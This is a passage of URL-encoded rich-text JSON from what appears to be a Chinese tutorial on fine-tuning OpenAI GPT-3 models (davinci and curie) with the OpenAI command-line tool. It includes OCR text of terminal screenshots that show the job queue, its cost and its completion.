4%BB%96%E4%BC%9A%E7%BB%99%E4%BD%A0%E4%B8%80%E4%BA%9B%E4%BF%AE%E6%94%B9%E6%84%8F%E8%A7%81%E5%92%8C%E5%A4%84%E7%90%86%E6%96%B9%E6%A1%88%EF%BC%8C%E5%B9%B6%E4%B8%94%E4%BC%9A%E8%87%AA%E5%8A%A8%E5%A4%84%E7%90%86%E4%B8%80%E4%B8%8B%E4%BD%A0%E7%9A%84%E6%95%B0%E6%8D%AE%E9%9B%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u26088985%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud2fd684a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%84%B6%E5%90%8E%E6%88%91%E4%BB%AC%E5%9C%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u841ecd39%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%9F%BA%E7%A1%80%E7%9A%844%E4%B8%AAGPT-3%E6%A8%A1%E5%9E%8B%E4%B8%AD%E9%80%89%E5%8F%96%E4%B8%80%E4%B8%AA%E4%BD%9C%E4%B8%BA%E5%9F%BA%E7%A1%80%E6%A8%A1%E5%9E%8B%EF%BC%8C%E5%85%B6%E4%B8%AD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub69129e3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22davinci%E8%BF%99%E4%B8%AA%E6%A8%A1%E5%9E%8B%E8%A6%81%E7%9B%B8%E5%AF%B9%E6%9D%A5%E8%AF%B4%E6%9B%B4%E5%BC%BA%E5%A4%A7%EF%BC%8C%E4%B9%9F%E6%9B%B4%E9%80%82%E5%90%88%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%9F%B9%E5%85%BB%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5f45f45a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%86%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9A%84%E6%98%AF%EF%BC%8Cdavinci%E7%9B%B8%E6%AF%94%E4%B9%8B%E4%B8%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uaeffb2af%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%B4%B510%E5%80%8D%E8%BF%98%E5%A4%9A%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue4881ba3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4d259aaf%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22I3QLp%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22openai%20api%20fine_tunes.create%20-t%20.%5C%5Coutput_prepared.jsonl%20-m%20davinci%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub78b6fb8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a4002f9%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%A6%81%E6%B3%A8%E6%84%8F%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9e06372d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%80%E6%AD%A5%E6%98%AF%E8%A6%81%E7%BF%BB%E5%A2%99%E7%9A%84%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u37fb789d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E4%B8%8D%E7%84%B6%E6%97%A0%E6%B3%95%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8f769547%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u859a1019%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684316341580-e208a3c3-2d58-4864-83f7-4fe689797f3a.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A2315%2C%22height%22%3A430%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A51473%2C%22width%22%3A2104.5454089306613%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u378412f3-d623-4294-a65b-d7f92fc6904%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A18%2C%22y%22%3A10%2C%22width%22%3A202%2C%22height%22%3A30%2C%22text%22%3A%22PS%20D%3A%5C%5CHEXO%22%7D%2C%7B%22x%22%3A1463%2C%22y%22%3A12%2C%22width%22%3A135%2C%22height%22%3A29%2C%22text%22%3A%22DAVINCI%22%7D%2C%7B%22x%22%3A244%2C%22y%22%3A9%2C%22width%22%3A1144%2C%22height%22%3A37%2C%22text%22%3A%22-NEW%3E%20OPENAI%20API%20FINE-TUNES.CREATE%20-T%20.%5C%5COUT-PREPARED.JSONL%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A45%2C%22width%22%3A1470%2C%22height%22%3A37%2C%22text%22%3A%22FOUND%20POTENTIALLY%20DUPLICATED%20FILES%20WITH%20NAME%20&#39;OUTPUT.PREPARED.JSONL&#39;%2C%20PURPOSE%22%7D%2C%7B%22x%22%3A1510%2C%22y%22%3A48%2C%22width%22%3A641%2C%22height%22%3A30%2C%22text%22%3A%22&#39;FINE-TUNE&#39;%20AND%20SIZE%201129266%20BYTES%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A83%2C%22width%22%3A577%2C%22height%22%3A37%2C%22text%22%3A%22FILE-ZV8UIRL8PRODGNKGQ2VW1Q7T%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A121%2C%22width%22%3A1322%2C%22height%22%3A36%2C%22text%22%3A%22ENTER%20FILE%20ID%20TO%20REUSE%20AN%20ALREADY%20UPLOADED%20FILE%2C%20OR%20AN%20EMPTY%20STRING%20TO%22%7D%2C%7B%22x%22%3A1356%2C%22y%22%3A118%2C%22width%22%3A948%2C%22height%22%3A45%2C%22text%22%3A%22O%20UPLOAD%20THIS%20FILE%20ANYWAY%3A%20FILE-ZV8UIRL8PRODGNKGQ2V%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A160%2C%22width%22%3A116%2C%22height%22%3A35%2C%22text%22%3A%22W1Q7T%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A197%2C%22width%22%3A1146%2C%22height%22%3A36%2C%22text%22%3A%22REUSING%20ALREADY%20UPLOADED%20FILE%3A%20FILE-ZV8UIRL8PRODGNKGQ2VW1Q7T%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A237%2C%22width%22%3A885%2C%22height%22%3A34%2C%22text%22%3A%22CREATED%20FINE-TUNE%3AFT-PCXP6LBEZKDHO3EZ8986RWMZ%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A272%2C%22width%22%3A934%2C%22height%22%3A38%2C%22text%22%3A%22STREAMING%20EVENTS%20UNTIL%20FINE-TUNING%20IS%20COMPLETE...%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A347%2C%22width%22%3A1218%2C%22height%22%3A34%2C%22text%22%3A%22(CTRL-C%20WILL%20INTERRUPT%20THE%20STREAM.%20BUT%20NOT%20CANCEL%20THE%20FINE-TUNE)%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A387%2C%22width%22%3A1289%2C%22height%22%3A32%2C%22text%22%3A%22%5B2023-05-17%2017%3A38%3A39%5D%20CREATED%20FINE-TUNE%3A%20FT-PEXP6LBEZKDHO3EZ8986RWMMZ%22%7D%5D%2C%22search%22%3A%22PS%20D%3A%5C%5CHEXO%20DAVINCI%20-NEW%3E%20OPENAI%20API%20FINE-TUNES.CREATE%20-T%20.%5C%5COUT-PREPARED.JSONL%20FOUND%20POTENTIALLY%20DUPLICATED%20FILES%20WITH%20NAME%20&#39;OUTPUT.PREPARED.JSONL&#39;%2C%20PURPOSE%20&#39;FINE-TUNE&#39;%20AND%20SIZE%201129266%20BYTES%20FILE-ZV8UIRL8PRODGNKGQ2VW1Q7T%20ENTER%20FILE%20ID%20TO%20REUSE%20AN%20ALREADY%20UPLOADED%20FILE%2C%20OR%20AN%20EMPTY%20STRING%20TO%20O%20UPLOAD%20THIS%20FILE%20ANYWAY%3A%20FILE-ZV8UIRL8PRODGNKGQ2V%20W1Q7T%20REUSING%20ALREADY%20UPLOADED%20FILE%3A%20FILE-ZV8UIRL8PRODGNKGQ2VW1Q7T%20CREATED%20FINE-TUNE%3AFT-PCXP6LBEZKDHO3EZ8986RWMZ%20STREAMING%20EVENTS%20UNTIL%20FINE-TUNING%20IS%20COMPLETE...%20(CTRL-C%20WILL%20INTERRUPT%20THE%20STREAM.%20BUT%20NOT%20CANCEL%20THE%20FINE-TUNE)%20%5B2023-05-17%2017%3A38%3A39%5D%20CREATED%20FINE-TUNE%3A%20FT-PEXP6LBEZKDHO3EZ8986RWMMZ%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23363636%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uae20daee%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0705d8a9%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%AD%89%E5%BE%85%E5%BE%AE%E8%B0%83%E7%9A%84%E4%BB%BB%E5%8A%A1%E5%A4%84%E7%90%86%E5%AE%8C%E6%88%90%E3%80%82%E5%A6%82%E6%9E%9C%E4%B8%8D%E5%B0%8F%E5%BF%83%E4%B8%AD%E6%96%AD%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8follow%E7%BB%A7%E7%BB%AD%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9ed1b15a%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22pRJUL%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22python%22%2C%22code%22%3A%22openai%20api%20fine_tunes.follow%20-i%20ft-PcXP6lbEZKDHo3ez8986RWmZ%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u01f3bcca%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9bc88588%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%B9%8B%E5%90%8E%E5%B0%B1%E6%98%AF%E7%AD%89%E5%BE%85%E7%BB%93%E6%9E%9C%E5%8D%B3%E5%8F%AF%EF%BC%8C%E6%88%91%E8%87%AA%E5%B7%B1%E7%A0%94%E7%A9%B6%E4%BA%86%E4%B8%80%E4%B8%8B%E5%8F%91%E7%8E%B0%E8%BF%99%E4%B8%AA%E4%B8%9C%E8%A5%BF%E6%9C%89%E7%82%B9%E5%84%BF%E8%B4%B5%E7%9A%84%E6%88%91%E8%AE%AD%E7%BB%83%E9%9B%86%E6%95%B0%E6%8D%AE%E4%B9%9F%E5%B0%B1400%E5%A4%9A%E6%9D%A1%EF%BC%8C%E8%BF%98%E7%94%A8%E4%BA%86%E6%AF%94%E8%BE%83%E4%BE%BF%E5%AE%9C%E7%9A%84%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u397abc77%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22curie%E6%A8%A1%E5%9E%8B%EF%BC%8C%E7%BB%93%E6%9E%9C%E8%BF%98%E8%8A%B1%E4%BA%8610%E5%88%80%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uecd5ff12%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u2a25a5fe%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684322050792-917e33a6-4933-4ecb-a28b-3aab0f7791e3.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1794%2C%22height%22%3A1034%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A110871%2C%22width%22%3A1630.9090555600892%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u153fcdbc-3ec3-4bdd-bcaa-3fa58508b8a%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A526%2C%22y%22%3A9%2C%22width%22%3A930%2C%22height%22%3A38%2C%22text%22%3A%22I%20FINE_TUNES.FOLLOW%20-I%20FT-JBUCXZL7ATVLGOKRJPN5QEDQ%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A10%2C%22width%22%3A635%2C%22height%22%3A36%2C%22text%22%3A%22PS%20D%3A%5C%5CHEXO%20_NEW%3E%20OPENAI%20API%20FINE_TU%22%7D%2C%7B%22x%22%3A220%2C%22y%22%3A46%2C%22width%22%3A1084%2C%22height%22%3A41%2C%22text%22%3A%227%2018%3A48%3A48%5D%20CREATED%20FINE-TUNE%3A%20FT-JBUCXZL7ATVLGOKRJPN5QEDQ%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A50%2C%22width%22%3A277%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%2018%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A86%2C%22width%22%3A833%2C%22height%22%3A32%2C%22text%22%3A%22%5B2023-05-17%2018%3A51%3A30%5D%20FINE-TUNE%20COSTS%20%2410.31%22%7D%2C%7B%22x%22%3A236%2C%22y%22%3A125%2C%22width%22%3A876%2C%22height%22%3A32%2C%22text%22%3A%2218%3A51%3A31%5DFINE-TUNE%20ENQUEUED.QUEUE%20NUMBER%3A10%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A125%2C%22width%22%3A205%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%22%7D%2C%7B%22x%22%3A236%2C%22y%22%3A162%2C%22width%22%3A775%2C%22height%22%3A34%2C%22text%22%3A%2218%3A52%3A49%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A165%2C%22width%22%3A204%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%22%7D%2C%7B%22x%22%3A917%2C%22y%22%3A165%2C%22width%22%3A308%2C%22height%22%3A33%2C%22text%22%3A%22QUEUE%20NUMBER%3A9%22%7D%2C%7B%22x%22%3A19%2C%22y%22%3A201%2C%22width%22%3A389%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%2018%3A59%3A28%5D%22%7D%2C%7B%22x%22%3A430%2C%22y%22%3A203%2C%22width%22%3A795%2C%22height%22%3A31%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.QUEUE%20NUMBER%3A%208%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A237%2C%22width%22%3A795%2C%22height%22%3A33%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%20NUMBER%3A7%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A240%2C%22width%22%3A394%2C%22height%22%3A30%2C%22text%22%3A%22%5B2023-05-17%2019%3A02%3A08%5D%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A279%2C%22width%22%3A482%2C%22height%22%3A30%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A279%2C%22width%22%3A389%2C%22height%22%3A30%2C%22text%22%3A%22%5B2023-05-17%2019%3A04%3A35%5D%22%7D%2C%7B%22x%22%3A1054%2C%22y%22%3A278%2C%22width%22%3A172%2C%22height%22%3A31%2C%22text%22%3A%22NUMBER%3A6%22%7D%2C%7B%22x%22%3A939%2C%22y%22%3A281%2C%22width%22%3A97%2C%22height%22%3A27%2C%22text%22%3A%22QUEUE%22%7D%2C%7B%22x%22%3A22%2C%22y%22%3A317%2C%22width%22%3A383%2C%22height%22%3A33%2C%22text%22%3A%22%5B2023-05-17%2019%3A04%3A37%5D%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A318%2C%22width%22%3A488%2C%22height%22%3A28%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A1052%2C%22y%22%3A316%2C%22width%22%3A175%2C%22height%22%3A30%2C%22text%22%3A%22NUMBER%3A5%22%7D%2C%7B%22x%22%3A943%2C%22y%22%3A319%2C%22width%22%3A93%2C%22height%22%3A25%2C%22text%22%3A%22OUEUE%22%7D%2C%7B%22x%22%3A19%2C%22y%22%3A351%2C%22width%22%3A389%2C%22height%22%3A36%2C%22text%22%3A%22%5B2023-05-17%2019%3A06%3A12%5D%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A354%2C%22width%22%3A485%2C%22height%22%3A34%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A1053%2C%22y%22%3A356%2C%22width%22%3A174%2C%22height%22%3A29%2C%22text%22%3A%22NUMBER%3A4%22%7D%2C%7B%22x%22%3A940%2C%22y%22%3A357%2C%22width%22%3A91%2C%22height%22%3A26%2C%22text%22%3A%22OUEUE%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A392%2C%22width%22%3A902%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%2019%3A07%3A31%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A940%2C%22y%22%3A393%2C%22width%22%3A285%2C%22height%22%3A31%2C%22text%22%3A%22QUEUE%20NUMBER%3A3%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A430%2C%22width%22%3A906%2C%22height%22%3A32%2C%22text%22%3A%22%5B2023-05-17%2019%3A07%3A32%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A938%2C%22y%22%3A433%2C%22width%22%3A289%2C%22height%22%3A31%2C%22text%22%3A%22QUEUE%20NUMBER%3A2%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A466%2C%22width%22%3A387%2C%22height%22%3A34%2C%22text%22%3A%22%5B2023-05-17%2019%3A07%3A56%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A468%2C%22width%22%3A494%2C%22height%22%3A32%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A859%2C%22y%22%3A469%2C%22width%22%3A367%2C%22height%22%3A33%2C%22text%22%3A%22EUEQUEUENUMBER%3A%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A506%2C%22width%22%3A201%2C%22height%22%3A28%2C%22text%22%3A%22%5B2023-05-17%22%7D%2C%7B%22x%22%3A236%2C%22y%22%3A507%2C%22width%22%3A168%2C%22height%22%3A30%2C%22text%22%3A%2219%3A08%3A08%5D%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A507%2C%22width%22%3A487%2C%22height%22%3A29%2C%22text%22%3A%22FINE-TUNE%20IS%20IN%20THE%20QUEUE.%22%7D%2C%7B%22x%22%3A1052%2C%22y%22%3A507%2C%22width%22%3A174%2C%22height%22%3A30%2C%22text%22%3A%22NUMBER%3A%22%7D%2C%7B%22x%22%3A937%2C%22y%22%3A507%2C%22width%22%3A95%2C%22height%22%3A28%2C%22text%22%3A%22QUEUE%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A544%2C%22width%22%3A325%2C%22height%22%3A30%2C%22text%22%3A%22FINE-TUNE%20STARTED%22%7D%2C%7B%22x%22%3A237%2C%22y%22%3A544%2C%22width%22%3A171%2C%22height%22%3A32%2C%22text%22%3A%2219%3A09%3A21%5D%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A546%2C%22width%22%3A207%2C%22height%22%3A28%2C%22text%22%3A%22%5B2023-05-17%22%7D%2C%7B%22x%22%3A215%2C%22y%22%3A580%2C%22width%22%3A190%2C%22height%22%3A32%2C%22text%22%3A%227%2019%3A11%3A15%5D%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A583%2C%22width%22%3A174%2C%22height%22%3A29%2C%22text%22%3A%22COMPLETED%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A582%2C%22width%22%3A225%2C%22height%22%3A28%2C%22text%22%3A%22%5B2023-05-17%201%22%7D%2C%7B%22x%22%3A616%2C%22y%22%3A583%2C%22width%22%3A174%2C%22height%22%3A30%2C%22text%22%3A%22EPOCH%201%2F4%22%7D%2C%7B%22x%22%3A617%2C%22y%22%3A619%2C%22width%22%3A173%2C%22height%22%3A30%2C%22text%22%3A%22EPOCH%202%2F4%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A620%2C%22width%22%3A391%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%2019%3A12%3A03%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A621%2C%22width%22%3A176%2C%22height%22%3A29%2C%22text%22%3A%22COMPLETED%22%7D%2C%7B%22x%22%3A19%2C%22y%22%3A657%2C%22width%22%3A388%2C%22height%22%3A33%2C%22text%22%3A%22%5B2023-05-17%2019%3A12%3A50%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A655%2C%22width%22%3A366%2C%22height%22%3A38%2C%22text%22%3A%22COMPLETED%20EPOCH%203%2F4%22%7D%2C%7B%22x%22%3A221%2C%22y%22%3A696%2C%22width%22%3A182%2C%22height%22%3A32%2C%22text%22%3A%2219%3A13%3A38%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A696%2C%22width%22%3A365%2C%22height%22%3A34%2C%22text%22%3A%22COMPLETED%20EPOCH%204%2F4%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A698%2C%22width%22%3A225%2C%22height%22%3A29%2C%22text%22%3A%22%5B2023-05-17%201%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A733%2C%22width%22%3A391%2C%22height%22%3A32%2C%22text%22%3A%22%5B2023-05-17%2019%3A13%3A55%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A734%2C%22width%22%3A156%2C%22height%22%3A29%2C%22text%22%3A%22UPLOADED%22%7D%2C%7B%22x%22%3A601%2C%22y%22%3A734%2C%22width%22%3A833%2C%22height%22%3A33%2C%22text%22%3A%22MODEL%3ACURIE%3AFT-PERSONAL-2023-05-17-11-13-55%22%7D%2C%7B%22x%22%3A596%2C%22y%22%3A771%2C%22width%22%3A799%2C%22height%22%3A32%2C%22text%22%3A%22RESULT%20FILE%3A%20FILE-2X3MFPRGPBOK8BPJYTKWVYEC%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A772%2C%22width%22%3A157%2C%22height%22%3A30%2C%22text%22%3A%22UPLOADED%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A772%2C%22width%22%3A389%2C%22height%22%3A31%2C%22text%22%3A%22%5B2023-05-17%2019%3A13%3A56%5D%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A807%2C%22width%22%3A391%2C%22height%22%3A34%2C%22text%22%3A%22%5B2023-05-17%2019%3A13%3A56%5D%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A811%2C%22width%22%3A174%2C%22height%22%3A28%2C%22text%22%3A%22FINE-TUNE%22%7D%2C%7B%22x%22%3A614%2C%22y%22%3A813%2C%22width%22%3A175%2C%22height%22%3A26%2C%22text%22%3A%22SUCCEEDED%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A886%2C%22width%22%3A593%2C%22height%22%3A30%2C%22text%22%3A%22JOB%20COMPLETE!STATUS%3ASUCCEEDED%22%7D%2C%7B%22x%22%3A6%2C%22y%22%3A925%2C%22width%22%3A572%2C%22height%22%3A32%2C%22text%22%3A%22TRY%20OUT%20YOUR%20FINE-TUNED%20MODEL%3A%22%7D%2C%7B%22x%22%3A635%2C%22y%22%3A1000%2C%22width%22%3A1030%2C%22height%22%3A29%2C%22text%22%3A%22CURIE%3AFT-PERSONAL-2023-05-17-11-13-55%20-P%20%3CYOUR_PROMPT%3E%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A1003%2C%22width%22%3A612%2C%22height%22%3A28%2C%22text%22%3A%22OPENAI%20API%20COMPLETIONS.CREATE%20-M%22%7D%5D%2C%22search%22%3A%22I%20FINE_TUNES.FOLLOW%20-I%20FT-JBUCXZL7ATVLGOKRJPN5QEDQ%20PS%20D%3A%5C%5CHEXO%20_NEW%3E%20OPENAI%20API%20FINE_TU%207%2018%3A48%3A48%5D%20CREATED%20FINE-TUNE%3A%20FT-JBUCXZL7ATVLGOKRJPN5QEDQ%20%5B2023-05-17%2018%20%5B2023-05-17%2018%3A51%3A30%5D%20FINE-TUNE%20COSTS%20%2410.31%2018%3A51%3A31%5DFINE-TUNE%20ENQUEUED.QUEUE%20NUMBER%3A10%20%5B2023-05-17%2018%3A52%3A49%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%20%5B2023-05-17%20QUEUE%20NUMBER%3A9%20%5B2023-05-17%2018%3A59%3A28%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.QUEUE%20NUMBER%3A%208%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%20NUMBER%3A7%20%5B2023-05-17%2019%3A02%3A08%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20%5B2023-05-17%2019%3A04%3A35%5D%20NUMBER%3A6%20QUEUE%20%5B2023-05-17%2019%3A04%3A37%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20NUMBER%3A5%20OUEUE%20%5B2023-05-17%2019%3A06%3A12%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20NUMBER%3A4%20OUEUE%20%5B2023-05-17%2019%3A07%3A31%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%20NUMBER%3A3%20%5B20